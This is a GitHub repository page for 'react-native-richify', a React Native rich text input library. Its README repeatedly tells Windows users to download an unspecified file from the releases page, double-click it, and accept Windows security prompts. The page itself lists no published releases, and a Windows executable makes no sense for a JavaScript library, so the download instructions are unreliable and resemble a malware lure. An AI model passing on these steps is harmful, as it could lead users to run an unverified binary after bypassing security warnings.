Skip to content

fizzalari/react-native-richify

Repository files navigation

✨ react-native-richify - Build rich text input with ease

Download the app

📥 Download

Visit this page to download: GitHub Releases

Choose the latest release for your system. If you use Windows, look for a file with a name that matches your setup. Download it, then open the file you saved

🧭 What this app does

react-native-richify is a rich text input for React Native apps. It helps you add text editing with style, layout, and icon support. It uses the overlay technique, so it does not need a WebView

This project fits apps that need:

  • Bold, italic, and styled text
  • Rich text input in mobile apps
  • A smooth editor for Android and iOS
  • Headless usage for custom app flows
  • Support for Expo and modern React Native versions

🖥️ Before you start

Use a Windows PC with:

  • A recent version of Windows
  • Internet access
  • Enough free space to store the download
  • Permission to open downloaded files

If you plan to use this inside an app, you may also need:

  • Expo 55 or later
  • React 19.2.4
  • React Native 0.84.1

🚀 Get started

  1. Open the download page: GitHub Releases
  2. Find the latest release at the top of the page
  3. Download the file for Windows if one is provided
  4. Save the file to a folder you can find, such as Downloads
  5. Open the file after the download finishes
  6. Follow the on-screen steps if the file opens an installer
  7. If the file opens the app directly, wait for it to load

🪟 Run on Windows

If the release includes a Windows file, do this:

  1. Go to the releases page
  2. Download the Windows file
  3. Open your Downloads folder
  4. Double-click the file
  5. If Windows asks for approval, choose the option to run it
  6. Wait for the app or setup window to open

If the file does not open, check that the download finished fully. A partial download can fail to start

⚙️ Main features

  • Overlay-based rich text input
  • No WebView needed
  • Works in cross-platform React Native apps
  • Headless mode for custom UI control
  • Support for modern Expo projects
  • Support for Android and iOS
  • Icon support with Lucide icons
  • Designed for rich text editing use cases

📱 Where it fits

Use react-native-richify when you need a text editor in:

  • Chat apps
  • Notes apps
  • Content tools
  • Form fields with rich text
  • Hybrid mobile apps
  • Custom editors for React Native

🧩 Simple usage idea

In an app, you would add the rich text input where users type. The editor handles styled text, and your app can keep the look and behavior you want

A typical setup may include:

  • A text area for typing
  • A toolbar for text styles
  • Buttons for bold, italic, and links
  • State handling in your app
  • A custom layout that matches your design

📂 What you may see in the release

A release may include:

  • App files
  • Setup files
  • Build assets
  • Source files
  • Platform-specific packages

If you see more than one file, pick the one for Windows unless you need another platform

🔍 Helpful checks

If the file does not open:

  • Check that the download finished
  • Make sure you picked the right file
  • Try opening it again from the Downloads folder
  • Close and reopen the browser if the file seems stuck

If Windows shows a security prompt:

  • Read the file name
  • Confirm it came from the GitHub release page
  • Choose the option that lets the file open

🛠️ For app builders

If you want to use this project in your own React Native app, the package is built for:

  • Clean integration
  • Custom editor behavior
  • Modern React and React Native versions
  • Expo-based workflows
  • Both full UI and headless usage

A common setup path is:

  1. Add the package to your app
  2. Place the rich text input in a screen
  3. Connect the editor state to your app
  4. Add style buttons if needed
  5. Test on Android and iOS

📌 Project focus

This project is made for teams and users who want:

  • Rich text without a browser view
  • Fast editing in mobile apps
  • A flexible editor layer
  • Support for current React Native stacks
  • Control over the full user experience

🧪 Version support

The project targets modern builds and bleeding-edge toolchains, including:

  • Expo 55+
  • React 19.2.4
  • React Native 0.84.1

This makes it a good fit for current app projects that need a rich text input with a native feel

📎 Download again

If you need the file again, use this page: GitHub Releases

Choose the latest release, download the file, and open it from your computer

About

Build rich text inputs in React Native with native TextInput editing, toolbar formatting, and live Markdown or HTML output

Topics

Resources

License

Contributing

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors